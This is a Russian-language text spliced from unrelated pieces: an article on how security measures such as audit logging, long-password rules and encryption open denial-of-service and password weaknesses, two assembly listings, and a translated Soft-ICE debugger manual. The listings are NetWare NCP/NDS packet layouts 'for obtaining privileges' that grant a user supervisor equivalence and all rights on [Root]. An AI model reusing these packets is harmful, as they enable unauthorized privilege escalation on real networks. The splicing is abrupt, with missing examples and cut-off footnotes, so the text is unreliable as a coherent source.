Итак, представим себе ленивого, но педантичного администратора, настроившего полностью свою систему по требованиям С2, после чего пребывает в уверенности, что теперь-то ему ничего не угрожает. Тогда хакер реализует массированную "бомбежку" этой системы однотипными запросами, которые система не считает очень опасными, но все же заносит в протокол. И вот рано или поздно, в зависимости от емкости жесткого диска, протокол переполняется и система встает.
Итак, многочисленными, но безвредными для системы запросами ее удалось "повесить". Зачем вам "нюки", господа кракеры, подарите ненавистному администратору утилиту C2Config!
Что самое забавное, в рекомендациях ВМФ США о безопасной инсталляции Windows NT 4.0 [4] пункт об остановке системы при переполнении протокола событий не рекомендуется разрешать! Что ж, здравомыслие иногда торжествует.
Чуть-чуть другой вариант отказа в обслуживании, связанный с "параноидальным" использованием системы аудита, состоит в том, что на атакуемую систему массировано посылается шторм запросов, каждый из которых должен быть отражен в протоколе, и система ничем другим не может заниматься, кроме как дописывать в файл все новые и новые события.
Пароль больше - кракеру проще.
"... должны осуществляться идентификация и проверка подлинности субъектов доступа при входе в систему по идентификатору (коду) и паролю временного действия длиной не менее восьми буквенно-цифровых символов" [5].
Человеческий фактор в криптосистемах (как, впрочем, и во всем остальном) играет особую и весьма заметную роль [3]. В частности, пользователи очень любят выбирать короткие и осмысленные пароли. Применив отрицание к последнему утверждению, получим, что пользователи не любят выбирать длинные или бессмысленные пароли. Ну а если некоторые характеристики паролей контролируются системой и "слабые" пароли не пропускаются? Проще всего проконтролировать длину пароля, а также совершить некоторые элементарные проверки - на совпадение с именем пользователя, с уже использованным паролем и т.п.
Итак, предположим, администратор установил нижнюю границу длину пароля в N символов. И недолго думая, взял и поставил N=15, полагая, что теперь-то ему атаки с перебором паролей совершенно не страшны.
Что же сделает пользователь? Пароль из 6 символов типа "A95jwh" он еще в состоянии запомнить, а вот требуемый от него 15-символьный "Rg27#kjs$Zyx83a" он уже не запомнит никогда (тем более, если он у него не один и время от времени меняется). Итак, у него есть два пути:
взять бессмысленный пароль и прикрепить его себе на монитор (варианты - системный блок, спрятать в ящик стола);
ввести пароль, который он в состоянии запомнить.
А вот последних паролей не так много. В 80% случаев это будут пароли типа "123456789012345", "aaaaaaaaaaaaaab", "svetasvetasveta", "qwertyuiop[]asd", "nuvy,blin,daete", "papauvasisilenv" - т.е. простые повторяющиеся комбинации, рядом стоящие символы на клавиатуре, припев популярной песенки и т.п. А такие пароли кракерам может быть легче вскрыть, чем бессмысленные 6-символьные.
Совершенно очевидно, что если система будет требовать от пользователя не только длинный, но и бессмысленный пароль, то вот тут-то он точно повесит его на монитор. Или еще хуже (хуже - потому что пароль на мониторе хотя бы может увидеть администратор и отругать его) - запишет его в файл, а в AUTOEXEC.BAT пропишет команду:
login <password.txt
Последний аспект коварства длинных паролей - их труднее набирать без ошибок. Ошибся несколько раз - и ... см. пример 1.
Шифрование сетевого трафика.
"К программным методам защиты в сети Internet можно отнести прежде всего защищенные криптопротоколы, с использованием которых появляется возможность надежной защиты соединения" [6].
Важнейшей компонентой защиты распределенных вычислительных систем является шифрование информации, критичной к угрозе раскрытия, которая передается по открытым каналам связи (например, Internet).
Рассмотрим вероятность успеха одного подвида атаки, направленного на отказ в обслуживании. Он "состоит в передаче с одного адреса такого количества запросов на атакуемый объект, какое позволит трафик (направленный "шторм" запросов)" [6].
Допустим, что без использования методов шифрования трафика (т.е. без защиты от угрозы раскрытия), порог "шторма", при котором атакуемая система ничем другим не занимается, кроме как обрабатывает все новые и новые "плохие" запросы (и для "хороших" запросов эта система будет отказывать в обслуживании), равняется N запросов в секунду3. Вполне вероятно, что для хакера это N при низкопропускных каналах связи или значительной удаленности его от цели атаки будет недостижимым.
Теперь рассмотрим систему, защищенную от угрозы раскрытия применением методов шифрования. (Рассуждая с точки зрения эффективности, совершенно очевиден тот факт, что какими бы быстрыми не были применяемые криптографические алгоритмы, пропускная способность такой системы всегда будет меньше (обычно в 2-5 раз), чем системы без шифрования - т.к. пакеты нужно зашифровывать и расшифровывать). В этом случае хакер может несколько изменить свою атаку на шторм "псевдошифрованными" запросами. Допустим, криптографические алгоритмы вполне совершенны, и хакер не может подделать зашифрованный пакет так, чтобы он воспринимался как правильный4. Но он вполне может подделать пакет так, чтобы он проходил первую (быструю) проверку "по внешнему виду" и поступал в процедуру расшифровки. И вот только она сможет его отвергнуть, расшифровав. Теперь уже совершенно очевидно, что система сможет обрабатывать значительно меньше запросов в секунду, чем N, из-за необходимости их расшифровки. А такое снижение N (до 2 порядков) вполне может привести к тому, что для хакера оно станет достижимым!
Проверка файлов.
Разумным решением является сделать назависимый список системных файлов с их атрибутами и контрольными суммами. Этот список создается после инсталляции новой системы и корректировки ее с помощью aset (SUNWast) или 'fix-modes' by Casper Dik. Проверка файлов в системе можно производить по cron или постоянным процессом с низким приоритетом. Контрольные суммы вычисляемые /bin/sum не являются надежной гарантией безопасности, т.к. легко подбираются. Можно порекомедовать для этих целей MD5. Существует ряд продуктов различных фирм, позволяющих просматривать систему на предмет "странных" файлов, дат, атрибутов.
РАСПЕЧАТКА 1 - ФОРМАТ ПАКЕТА ДЛЯ ПОЛУЧЕНИЯ ПОЛНОМОЧИЙ
; ------------------------ уровень Ethernet --------------------- db -1,-1,-1,-1,-1,-1 ; Адрес получателя db 00,20h,0afh,089h,022h,0afh ; Адрес отправителя db 01,48h ; Длина пакета ; ---------------------- Заголовок пакета IPX ------------------- dw 0ffffh db 01,47h ; Длина IPX-пакета db 0 db 17 db ?,?,?,? ; Сеть получателя db 0,0,0,0,0,1 ; Адрес получателя db 04,51h ; Сокет получателя db ?,?,?,? ; Сеть отправителя db ?,?,?,?,?,? ; Адрес отправителя db ?,? ; Сокет отправителя ; ---------------------- Заголовок NCP -------------------------- db 22h,22h db 48 ;(0-256) ; Порядковый номер db 24 ;(подставляется) ; Номер соединения db 4 db 0 db 68h db 2 ; ------------------------- Данные NCP -------------------------- dd -1 dd 514 S1_2: dd offset S1_1 - offset S1_2-4 dd 0 dd 9 dd 0 dd 0 dd 0 SUP_ID: db 67h,02h,00,06h ; Идентификатор супервизора dd 1 dd 5 dd 34 db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0 db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0 dd 0 dd 1 ; Имя пользователя (каждый символ в формате - 'символ,0') и его длина : dd 8 db '3',0,'1',0,'0',0,'7',0 S1_1:
РАСПЕЧАТКА 2 - ДАННЫЕ NCP-ПАКЕТА ДЛЯ ПОЛУЧЕНИЯ ПОЛНОМОЧИЙ В СЕТИ NETWARE 4.X
; -------------------Данные NCP - Уровень NDS ------------------- dd -1 dd 514 So_2: dd offset So_1 - offset So_2+2 ; Длина сообщения dd 0 dd 9 dd 0 dd 0 dd 0 ID db ?,?,?,? ;ID of [Root] dd 1 dd 2 dd 8 db 'A',0,'C',0,'L',0,0,0 dd 1 So_3: dd So_1-So_3 ;Длина ACL dd 30 db '[',0,'E',0,'n',0,'t',0,'r',0,'y',0,' ',0 db 'R',0,'i',0,'g',0,'h',0,'t',0,'s',0,']',0 dd 0 dd 26 ;Длина полного имени So_1: db '3',0,'1',0,'0',0,'7',0,'.',0,'I',0,'N',0,'F',0 db '.',0,'T',0,'S',0,'U',0 dd 1Fh ;Все права
Так что же получается? Не
Так что же получается? Не надо менять свои пароли? Не надо использовать аудит? Не надо шифровать трафик? Или же сформулированный принцип "неповышения вероятности других угроз" невыполним? Я думаю, выполним. Просто при каждом решении, направленным на борьбу с некоторой угрозой, надо тщательно проанализировать, как это решение скажется на других угрозах. И, мне кажется, всегда можно найти более правильный вариант реализации решения. Фирме Novell надо было запрещать идентификацию при подборе паролей только с определенного сетевого адреса (или, еще лучше, всегда разрешать идентификацию с некоторого безопасного адреса). Администратору надо было поставить ограничение на длину пароля в 6 символов и объяснить, как придумывать и запоминать неосмысленные пароли. Регистрацией некоторых событий в протоколе придется жертвовать, если он переполнен и если безотказность системы важна. При реализации системы шифрования пакетов надо придумать некую схему, которая позволяла бы отвергать пакет без его (полной) расшифровки, сведя к минимуму количество необходимых для этого машинных операций.
Других обнадеживающим фактом я считаю, что все приведенные примеры не приводили к катастрофическим атакам, и, надеюсь, их не появится в будущем.
1 Вот один из последних, упоминаний о котором я не встречал. Windows NT можно настроить так, чтобы она не надоедала своим требованием нажать Ctrl+Alt+Del и ввести пароль, а делала это сама - например, с помощью программы Autologon Марка Руссиновича. Но при этом имя пользователя и его пароль будут хранится в реестре в открытом виде! Нужно ли говорить о том, что реестр иногда может быть просмотрен удаленно, а без установки Service Pack 3 это делается вообще элементарно!
2 Знатоки Novell Netware не преминут меня подловить, сказав, что при смене пароля новое хэш-значение шифруется старым, и перехват его ничего не даст. А на это возражу, что в некоторых случаях, а именно, если пароль меняет супервизор через программу SYSCON, старое значение пароля у него не спрашивается.
3 Эксперименты показывают, что для компьютера класса Pentium/166 это число равно порядка 10000. Причем Windows NT (с установкой даже Service Pack 4) при шторме такой силы сбрасывалась в "синий экран".
S-ICE
РАЗДЕЛ I -- Изучение Soft-ICE
ГЛАВА 1
1.1 Описание Продукта
Soft-ICE - инструмент отладки программного обеспечения, который обеспечивает
возможности отладки на аппаратном уровне для отладчиков PC DOS и MS DOS.
Soft-ICE использует защищенный режим 80386, чтобы запускать DOS в виртуальной
машине. Это дает Soft-ICE полный контроль над окружением DOS. Soft-ICE
использует особенности защищенного режима 80386, типа страничной организации
памяти, уровня привилегий ввода/вывода и регистров отладки, для установки
аппаратных точек останова из вашего существующего отладчика DOS.
Soft-ICE был разработан для достижения трех целей:
1. Использовать возможности виртуальной машины 80386 для тех способов
отладки, которые являются невозможными или недопустимо медленными
для отладчиков, использующих только программные средства
(например, аппаратные точки останова в режиме реального времени,
защита памяти, борьба с программами, вызывающими зависание системы
и т.д.).
2. Работать с существующими отладчиками. Мы хотели предоставить инстру-
мент, который работал бы с существующими инструментами. Мы разработали
Soft-ICE таким образом, чтобы вам не нужно было изучать новый отладчик
для получения мощных возможностей для отладки программ на аппаратном
уровне.
3. Быть программой, дружественной к пользователю, с окном,
которое всплывает немедленно и не мешает работать. Все
команды Soft-ICE были разработаны, чтобы помещаться в
небольшом окне так, чтобы была видна информация за
экраном Soft-ICE. Динамическая система
интерактивной помощи помогает пользователям,
редко использующим Soft-ICE.
Предоставляемые возможности программы Soft-ICE:
* Точки останова на чтение/запись в ОЗУ в режиме реального времени,
на чтение/запись в порты и области памяти и на прерывания
* История выполнения команд для обратной трассировки
* Символьная отладка и отладка на уровне исходных текстов
* Окружение, работающее с существующими отладчиками
* Полная поддержка EMM 4.0
* Возможность наращивания основной памяти свыше 640КБ для систем с
монохромными адаптерами
* Окно, всплывающее в любое время
* Способность всплытия по нажатию клавиши даже при отключенных прерыва-
ниях
* Код отладчика, изолированный при помощи защищенного режима 80386. Это
предотвращает изменение или разрушение Soft-ICE выполняющейся
программой; даже если DOS будет разрушена, Soft-ICE все еще будет
работать
* Способность настроить Soft-ICE не использовать память ниже границы
640КБ, если в системе есть больше чем 640КБ
* Дружественная динамическая помощь
* Возможность использования в качестве автономного отладчика.
Эта возможность полезна при отладке загружаемых драйверов устройств,
обработчиков прерываний, последовательностей команд, которые
традиционные отладчики не могут пройти; если ваш отладчик испытывает
трудности при повторных вхождениях в код (re-entrancy)
* Способность мягкой перезагрузки, позволяющая отлаживать
другие операционные системы или самозагружающиеся
программы
* Простая установка без необходимости настройки DIP-переключателей для
предотвращения захвата портов и никаких конфликтов с адресным
пространством ОЗУ
Внимание:
Soft-ICE будет работать только с программами реального режима адресации.
Он не будет работать с программами, которые используют инструкции
защищенного режима 80286 или 80386.
1.2 Использование этого Руководства
Руководство по Soft-ICE разделено на четыре основные части:
Изучение Soft-ICE (Часть I)
Команды (Часть II)
Поддерживаемые Возможности (Часть lII)
Дополнительные Темы (Часть IV)
Soft-ICE можно использовать в большинстве отладочных задач после прочтения
Части I,"Изучение Soft-ICE" и небольшого экспериментирования. Дружествен-
ная интерактивная система помощи пользователям Soft-ICE может использоваться
для получения описания и синтаксиса команд.
Часть "Изучение Soft-ICE" содержит инструкции по установке, описание интер-
фейса пользователя и обучающую часть. Обучающая часть предназначена для того,
чтобы вы быстро смогли освоиться и начать работу.
Часть "Команды" описывает все команды Soft-ICE. Описания команд
упорядочены по функциональным группам с буквенным индексом
для ссылок.
Часть " Поддерживаемые Возможности" охватывает расширенные опции загрузки,
символьную отладку и отладку на уровне исходных текстов, возможности EMM 4.0.
Часть "Дополнительные Темы" охватывает темы типа использования Soft-ICE с
загружаемыми драйверами ДОС и использования Soft-ICE с другими ОС (non-DOS).
Во всем руководстве, особенно в обучающей части и части с описанием
команд, даны примеры, требующие ввода данных в Soft-ICE. Когда в
руководстве указано
"Нажмите" клавишу, вы должны нажать указанную клавишу. Когда в руководстве
указано "Введите" команду типа WIN, вы должны набрать на клавиатуре указан-
ные буквы, после чего нажать ВВОД.
1.3 Системные требования
Soft-ICE работает с IBM Серии II модели 70 и 80, Compaq 80386 и компьютерами
80386SX, с совместимыми с AT и 80386 картами сопроцессора. Soft-ICE
будет работать с сопроцессорами 80386 XT только, если они совместимы с AT.
Soft-ICE лучше всего работает при наличии расширенной памяти, но так же
прекрасно работает на системах только с основной памятью.
Soft-ICE не использует DOS или ROM BIOS для видео вывода и клавиатурного
ввода. Поэтому видеоадаптер должен быть совместим с одним из следующих:
MDA, Hercules, CGA, EGA или VGA. Soft-ICE также поддерживает двухмониторную
конфигурацию, которая очень полезна при отладке программ, интенсивно работа-
ющих с видеоадаптером.
ГЛАВА 2
2.1 Дискеты
Soft-ICE поставляется на дискетах 5 1/4 или 3 1/2 дюйма.
При запуске Soft-ICE, как мера против компьютерных пиратов,
на экран выводится имя лица, обладающего лицензией на использование
вашей копии Soft-ICE. Для вашего удобства дискета с Soft-ICE физически
не защищена от копирования. Для нашего удобства, мы надеемся на ваше
серьезное отношение к нашему лицензионному соглашению. Важно сделать
резервную копию дискеты на случай повреждения оригинала.
В директории дискеты Soft-ICE должны находиться следующие файлы:
S-ICE.EXE
S-ICE.DAT
LDR.EXE
MSYM.EXE
EMMSETUP.EXE
UPTIME.EXE
README.SI
SAMPLE.EXE
SAMPLE.ASM
SAMPLE.SYM
S-ICE.EXE - программа Soft-ICE.
S-ICE.DAT - файл инициализации Soft-ICE.
LDR.EXE - загрузчик программ и символьных файлов, входящий в пакет Soft-ICE.
MSYM.EXE - программа создания символьных файлов, входящая в пакет Soft-ICE.
EMMSETUP.EXE - программа, позволяющая вам определить способ использования
вашей системой отображаемой памяти.
UPTIME.EXE устанавливает время в соответствии с часами реального времени.
README.SI - текстовый файл, содержащий информацию о Soft-ICE, которая не
входит в это руководство.
SAMPLE.EXE - короткая демонстрационная программа, которая используется в
обучающей части.
SAMPLE.ASM - файл с исходным текстом демонстрационной программы на
Ассемблере
SAMPLE.SYM - символьный файл для демонстрационной программы.
2.2 Загрузка Soft-ICE
Перед запуском Soft-ICE, скопируйте все файлы с дистрибутивной дискеты на
ваш жесткий диск.
Эти файлы должны быть помещены в каталог, доступный через ваш дополнительный
список путей (path list).
S-ICE.EXE может быть загружен как драйвер устройства в CONFIG.SYS или запущен
как программа из командной строки. Чтобы использовать большинство возможностей
Soft-ICE, S-ICE.EXE должен быть загружен как драйвер устройства в CONFIG.SYS.
Внимание:
Если у вас нет расширенной памяти, Soft-ICE НЕ может быть загружен как драйвер
устройства. Вместо этого он должен быть запущен из командной строки DOS.
2.2.1 Загрузка Без Расширенной Памяти
Когда нет расширенной памяти, Soft-ICE загружается в максимально высокие
адреса памяти. В таком случае память, используемая Soft-ICE, исключается из
карты памяти, что делает его невидимым для программ DOS. Так как после
загрузки Soft-ICE уменьшается память, видимая программами DOS, рекомендуется
загружать Soft-ICE до всех TSR или контролирующих программ.
Если у вас нет расширенной памяти, просто введите:
S-ICE
2.2.2 Загрузка С Расширенной Памятью
Загрузка Soft-ICE с расширенной памятью может выполняться одним из двух путей:
1. Установить S-ICE.EXE как драйвер в CONFIG.SYS,
Этот метод необходим, если вы будете использовать какую-то
из следующих возможностей:
* Разделение памяти с программами, которые используют
расширенную память, используя вызовы ROM BIOS
(VDISK.SYS, RAMDRIVE.SYS,
HIMEM.SYS, кэш-программы и т.д..).
* Использование возможностей Soft-ICE - EMM 4.0
* Использование Soft-ICE для символьной отладки или отладки на уровне
исходного текста.
* Использование обратной трассировки.
* Использование Soft-ICE с другими продуктами Nu-Mega,
такими как MagicCV,
Загруженный как драйвер, Soft-ICE выделяет
часть расширенной памяти для себя и связанных
с ним компонент, так что не возникает никаких
конфликтов в памяти. S-ICE.EXE должен быть загружен
в CONFIG.SYS перед всеми другими драйверами, которые
выделяют расширенную память при загрузке (например
VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает
лучше всего, если он является первым загружаемым
драйвером, установленным в CONFIG.SYS.
Для начинающих пользователей Soft-ICE рекомендуется
загружать Soft-ICE как первый драйвер в CONFIG.SYS
в следующем виде:
device = диск:\путь\S-ICE.EXE /SYM 50
Диск и путь определяют директорию, в которой
находится S-ICE.EXE. Эта строка загрузит Soft-ICE
при инициализации системы и этого будет достаточно
для обучающей части. Однако, Soft-ICE не будет установлен
для использования некоторых более мощных возможностей,
типа EMM 4.0. Вы можете реконфигурировать
Soft-ICE и включить эти возможности после того,
как вы немного поэкспериментировали. Если у вас уже есть
опыт работы с Soft-ICE или вы хотите немедленно
установить Soft-ICE с этими возможностями, пожалуйста
прочтите главу 6 (Опции Инициализации Soft-ICE).
Предостережение:
При первой на вашей системе установке любого нового драйвера устройства,
желательно иметь системную дискету. Это - предупредительная мера для тех не-
желательных случаев, когда параметры, принимаемые драйвером по умолчанию, не
совместимы с вашей системой.
Если вы точно не знаете, как отредактировать ваш файл CONFIG.SYS,
обратитесь к руководству пользователя вашей системы или руководству
вашего текстового редактора. После того, как вы изменили ваш CONFIG.SYS
вы должны перезагрузить вашу систему, чтобы внесенные изменения вступили
в силу.
2. Запустите, Soft-ICE из командной строки DOS, набрав
S-ICE. Прежде, чем фактически загрузиться, Soft-ICE выдаст
сообщение о загрузке и командную строку. Для предотвращения
вывода этой командной строки, поместите слово EXTENDED в файл
S-ICE.DAT. См. часть 6.4 для получения более подробной информации
о файле S-ICE.DAT. При использовании этого
метода, S-ICE.EXE автоматически загружается в
верхнюю точку расширенной памяти, если там еще
нет никакой другой программы. Если вы знаете, что у вас
нет других программ, использующих расширенную
память, этот метод - приемлем. Загруженный
этим методом, Soft-ICE занимает НОЛЬ байт
основной памяти. Команда, которую вы используете:
S-ICE
Примечания:
Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из
командной строки. Если вы будете использовать Soft-ICE как автономный
отладчик, рекомендуется загрузить Soft-ICE из CONFIG.SYS.
Если вы хотите загрузить Soft-ICE как драйвер устройства, но не хотите, чтобы
Soft-ICE был резидентным все время, вы должны использовать переключатель /UN.
Обратитесь к части 6.3.1 для получения большей информации.
2.2.3 Конфигурирование Soft-ICE для Запуска с Установками Пользователя
Вы можете настраивать Soft-ICE при помощи переключателей Soft-ICE в CONFIG.SYS
и при помощи файла инициализации Soft-ICE S-ICE.DAT. Переключатели в
CONFIG.SYS позволяют указать метод резервирования расширенной памяти,
используемый Soft-ICE'ом. Файл инициализации S-ICE.DAT позволяет вам указать
опции конфигурации, указать команды, выполняемые по нажатию функциональных
клавиш, и определить строку автостарта.
Строка автостарта используется, для
выполнения ряда команд, которые вы всегда используете при установке Soft-ICE.
Для более полной информация о настройке Soft-ICE, обратитесь к главе 6.
2.3 Выгрузка Soft-ICE
Когда-нибудь вам может понадобиться выгрузить Soft-ICE. Типичная причина для
выгрузки Soft-ICE - необходимость запуска программы, использующей инструкции
защищенного режима 80286 или 80386. Чтобы выгрузить Soft-ICE, введите:
S-ICE /U
Эта команда возвращает машину в реальный режим адресации. Если Soft-ICE
был первоначально загружен из CONFIG.SYS, память остается зарезервированной
для Soft-ICE и не может использоваться другими программами. Если Soft-ICE
первоначально загружен из командной строки, выгрузка освобождает память,
используемую S-ICE.EXE.
Предостережение:
Если в вашей системе есть наращенная память или если в настоящее время
используется расширенная память, выгрузка Soft-ICE может вызвать зависание ОС.
2.4 Повторная Загрузка Soft-ICE
Soft-ICE может быть повторно загружен в любое время, даже если он был перво-
начально загружен из CONFIG.SYS. Если Soft-ICE был загружен из CONFIG.SYS,
то первоначальная конфигурация (EMM 4.0, символы и исходный текст ...)
остается в силе. Чтобы повторно загрузить Soft-ICE, введите:
S-ICE
ГЛАВА 3
3.1 Введение
Все взаимодействие с Soft-ICE происходит в окне, которое может быть
вызвано в любое время. Все команды Soft-ICE помещаются в маленьком окне, но
окно может быть увеличено до полного экрана. Обычно вы будете использовать
маленькое окно при использовании Soft-ICE в дополнение к другому отладчику и
большое окно при использовании Soft-ICE в автономном режиме.
Окно сразу выводится во весь экран, если вы используете
файл конфигурации Soft-ICE (S-ICE.DAT), включенный
в дистрибутив.
3.2 Вызов Всплывающего Окна
Вы можете вызвать окно в любое время после установки Soft-ICE. По умолчанию
Soft-ICE вызывается нажатием клавиш CTRL и D. Однако, эта комбинация
может быть изменена, при помощи команды ALTKEY (см.
часть 5.8).
3.3 Возврат Из Окна
Вернитесь к первоначальному экрану, используя команду X или комбинацию
клавиш, которую вы использовали для вызова Soft-ICE. Любые точки останова,
которые вы установили во время работы в Soft-ICE, останутся в силе.
3.4 Изменение Размера Окна
Вы можете изменять как ширину, так и высоту окна Soft-ICE.
Изменение размера окна особенно полезно в автономном режиме, когда на экран
выводится память с кодом программы.
Высота окна может изменяться от 8 до 25 строк. Для изменения высоты
окна используйте следующие комбинации клавиш:
ALT + стрелка вверх -- увеличивает высоту окна
ALT + стрелка вниз -- уменьшает высоту окна
Для изменения ширины окна, используйте команду WIN (см. часть 5.9).
Ввод WIN без параметров переключает следующие два режима:
режим WIDE - полная ширина экрана
режим NARROW - ширина 46 символов
Некоторые команды (то есть D, E, R, U) используют преимущество большой ширины
для вывода большего количества информации, когда окно находится в режиме WIDE.
3.5 Перемещение Окна
Окно Soft-ICE подвижно и может быть помещено куда угодно на
экране. Это особенно полезно, когда окно находится в режиме NARROW.
Перемещайте окно в любое время, когда вам нужно видеть информацию на экране за
окном. Следующие комбинации клавиш перемещают окно:
CTRL стрелка вверх -- на строку вверх
CTRL стрелка вниз -- на строку вниз
CTRL стрелка вправо -- на одну позицию вправо
CTRL стрелка влево -- на одну позицию влево
3.6 Клавиши Редактирования
Простой в использовании строковый редактор Soft-ICE позволяет повторно вызы-
вать и редактировать предыдущие команды. Функции строкового редактора подобны
функциям популярного редактора CED.
Следующие комбинации клавиш помогают при редактировании команд в окне команд:
стрелка вправо -- перемещает курсор вправо
стрелка влево -- перемещает курсор влево
INS -- переключает режим вставки
DEL -- удаляет текущий символ
HOME -- перемещает курсор в начало строки
END -- перемещает курсор в конец строки
стрелка вверх -- выводит предыдущую команду
стрелка вниз -- выводит следующую команду
SHIFT стрелка вверх -- прокрутка на одну строку вверх
SHIFT стрелка вниз -- прокрутка на одну строку вниз
PAGE UP -- прокрутка на одну страницу вверх
PAGE DN -- прокрутка на одну страницу вниз
BKSP -- удаляет предыдущий символ
ESC -- отменяет текущую команду
Есть специальные назначения клавиш, когда курсор находится в окне данных или
окне кода. Они описаны в частях для команд E и EC соответственно. Одно из
таких специальных назначений - SHIFT и SHIFT , когда курсор находится в
окне кода. Эти клавиши переназначаются так, что они выполняют функции, которые
обычно выполняют клавиши и . Таким образом вы можете повторно вызывать
предыдущие команды, когда курсор находится в окне кода.
3.7 Диалоговая Строка Состояния
Строка состояния в нижней части окна обеспечивает диалоговую помощь по
синтаксису команд.
3.8 Синтаксис Команд
Soft-ICE - отладочный инструмент с командным управлением. Для взаимодействия с
Soft-ICE вы вводите команды, которые могут изменяться при помощи параметров.
Все команды - текстовые строки, длиной от одного до шести символов, нечувстви-
тельные к регистру букв. Все параметры являются ASCII-строками или
выражениями.
Выражения - обычно числа, но могут также быть комбинациями чисел и операторов
(например, + - / *). Все числа выводятся в шестнадцатеричном формате.
Параметры типа byte - 2 цифры длиной, параметры типа word - 4 и параметры
типа double word - 2 параметра типа word, разделенные двоеточием (:).
Вот несколько примеров параметров:
12 -- параметр типа byte
10FF -- параметр типа word
E000:0100 -- параметр типа double word
Вместо байтов или слов в выражении могут использоваться регистры. Например,
команда " U CS:IP-10 " начнет дизассемблирование инструкций с адреса, находя-
щегося за десять байт до текущего адреса в указателе команд. В выражениях
могут использоваться следующие названия регистров:
AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH,
DX, DI, SI, BP, SP, IP, CS, DS, ES, SS или FL
3.8.1 Определение Адресов Памяти
Много команд Soft-ICE требуют в качестве параметров адреса памяти. Адрес
памяти - это значение, состоящее из двух 16-битных слов, разделенных
двоеточием. Первое слово - адрес сегмента, второе слово - смещение
сегмента.
В любой команде Soft-ICE вместо адреса могут использоваться публичные символы.
Публичные символы могут быть загружены в Soft-ICE загрузчиком программ
(LDR.EXE). См. главу 7 (Символы и Исходный текст) для получения полного описа-
ния использования публичных имен.
Интерпретатор выражений Soft-ICE распознает несколько специальных символов в
объединении с адресами. Это следующие специальные символы:
$ -- Текущий CS:IP.
@адрес -- указатель типа double word
.число -- номер строки в исходном тексте
Символ $ может использоваться вместо CS:IP при вводе текущего адреса указателя
команд.
Символ @ позволяет вам обращаться к двойному слову, на которое указывает
адрес. Вы можете использовать несколько уровней @.
Если символ . предшествует адресу, адрес будет интерпретироваться как номер
строки в текущем исходном файле, а не как фактический адрес.
Это имеет силу, только когда загружены исходные файлы. В этом случае
адрес интерпретируется как десятичное число.
Примеры:
U.1234
Эта команда начинает дизассемблирование инструкций в строке 1234(десятич.)
исходного текста.
U $-10
Эта команда дизассемблирует инструкции, начинающиеся за 10
байт до текущего адреса в указателе команд.
G @SS:SP
Предполагает, что вы - на первой инструкции обработчика
прерывания. Ввод этой команды установит временную точку
останова на адрес возврата в стеке и пропускает подпрограмму
обработчика прерывания.
3.9 Функциональные Клавиши
Функциональные клавиши могут назначаться на выполнение любой командной строки,
которая может быть введена в Soft-ICE. Их можно переназначать из командной
строки или заранее путем их определения в файле S-ICE.DAT.
По умолчанию S-ICE.DAT, поставляемый на дистрибутивной дискете, содержит
определения для всех 12 функциональных клавиш. Вы можете изменять любое из
этих определений в любое время. Они присутствуют в качестве примера, но они
предназначены для облегчения работы пользователей Microsoft CodeView, по умол-
чанию работают следующие назначения:
F1 -- Выводит общую помощь (H;)
F2 -- Включает окно регистров (^WR;)
F3 -- Изменяет текущий режим работы с исходным текстом (^SRC;)
F4 -- Восстанавливает экран (^RS;)
F5 -- Возвращается в вашу программу (^X;)
F6 -- Переключает курсор между окном команд и
окном кода (^EC;)
F7 -- Прогоняет программу до текущей позиции курсора (^HERE;)
F8 -- Выполняет одиночную инструкцию (^T;)
F9 -- Устанавливает точку останова в текущей позиции курсора (^BPX;)
F10 - Выполняет подпрограмму или цикл (^P;)
F11 - Перейти к адресу возврата (большая модель)
(^G @SS:SP;)
F12 - выводит номер версии Soft-ICE (^VER;)
Знак "сaret" (^), предшествующий команде, делает ее невидимой, точка с
запятой (;) после команды производит перевод строки. Вы можете вывести на
экран текущие назначения функциональных клавиш, введя команду:
FKEY
Для использования функциональной клавиши просто нажмите ее вместо ввода
команды. При необходимости программирования функциональных клавиш, см.
часть 5.8 для получения описания команды FKEY или главу 6 для получения
описания предварительной инициализации функциональных клавиш в S-ICE.DAT.
3.10 Помощь
Команда помощи выводит краткое описание, синтаксис выражения и
пример каждой команды. Чтобы получить информацию помощи, введите:
? или H -- выводит краткие описания всех
команд и операторов
? команда или
H команда -- выводит более детальную информацию по
указанной команде, синтаксис и
пример
? выражение или
H выражение -- выводит значение выражения в шестнадцатеричном,
десятичном и ASCII формате
3.11 Обучающая Часть
Эта обучающая часть демонстрирует некоторые из возможностей Soft-ICE и дает
вам возможность попробовать использовать Soft-ICE. Soft-ICE может быть
использован вместе с другим отладчиком или как автономный отладчик. Обучающая
часть демонстрирует использование Soft-ICE как дополнение к отладчику DOS
DEBUG, а потом показывает, каким образом Soft-ICE может использоваться как
автономный отладчик с загруженным исходным текстом и символами. DEBUG можно
найти на системной дискете PC DOS или MS DOS. Если у вас нет DEBUG, вы можете
найти другой отладчик или использовать Soft-ICE как автономный отладчик.
Пользователи, которым необходимо использовать Soft-ICE для "обратного проекти-
рования" или для отладки загружаемых драйверов устройств DOS или резидентных
программ, также должны пройти эту обучающую часть. Даже если примеры программ
этих типов непосредственно не демонстрируются, вы получите представление об
отладке при помощи Soft-ICE. Рекомендуется поэкспериментировать с Soft-ICE и
вашим специфическим окружением до начала работы с реальным
проектом.
Для демонстрации аппаратных точек останова используется короткая программа на
языке ассемблера с тонким изъяном. Программа-пример была сделана максимально
короткой и ясной для тех, кто не очень знаком с языком ассемблера. Обучающая
часть предназначена для того, чтобы дать вам почувствовать возможности
Soft-ICE. Не стесняйтесь экспериментировать по собственной инициативе после
прохождения обучающей части.
Так как Soft-ICE очень гибок, он позволяет вам загружать его оптимальным для
вашей системы образом. Пройдите процедуры установки в части 2.2 перед тем
как продолжить изучать обучающую часть.
Если у вас в системе нет расширенной памяти, вы должны загрузить Soft-ICE
из командной строки. При загрузке Soft-ICE из командной строки вы не сможете
загружать символы или файлы с исходными текстами. В этом случае вы должны
перейти к последней теме обучающей части, где Soft-ICE используется как автономный отладчик.
Soft-ICE может быть загружен из командной строки DOS или как драйвер
устройства в CONFIG.SYS. Для этой обучающей части вы должны установить
Soft-ICE в CONFIG.SYS с хотя бы 50КБ расширенной памяти для символов и
файлов с исходным текстом. Soft-ICE должен быть первым драйвером устройства,
установленным в CONFIG.SYS. Строка установки устройства должна выглядеть так:
DEVICE = диск:\путь\S-ICE.EXE /SYM 50
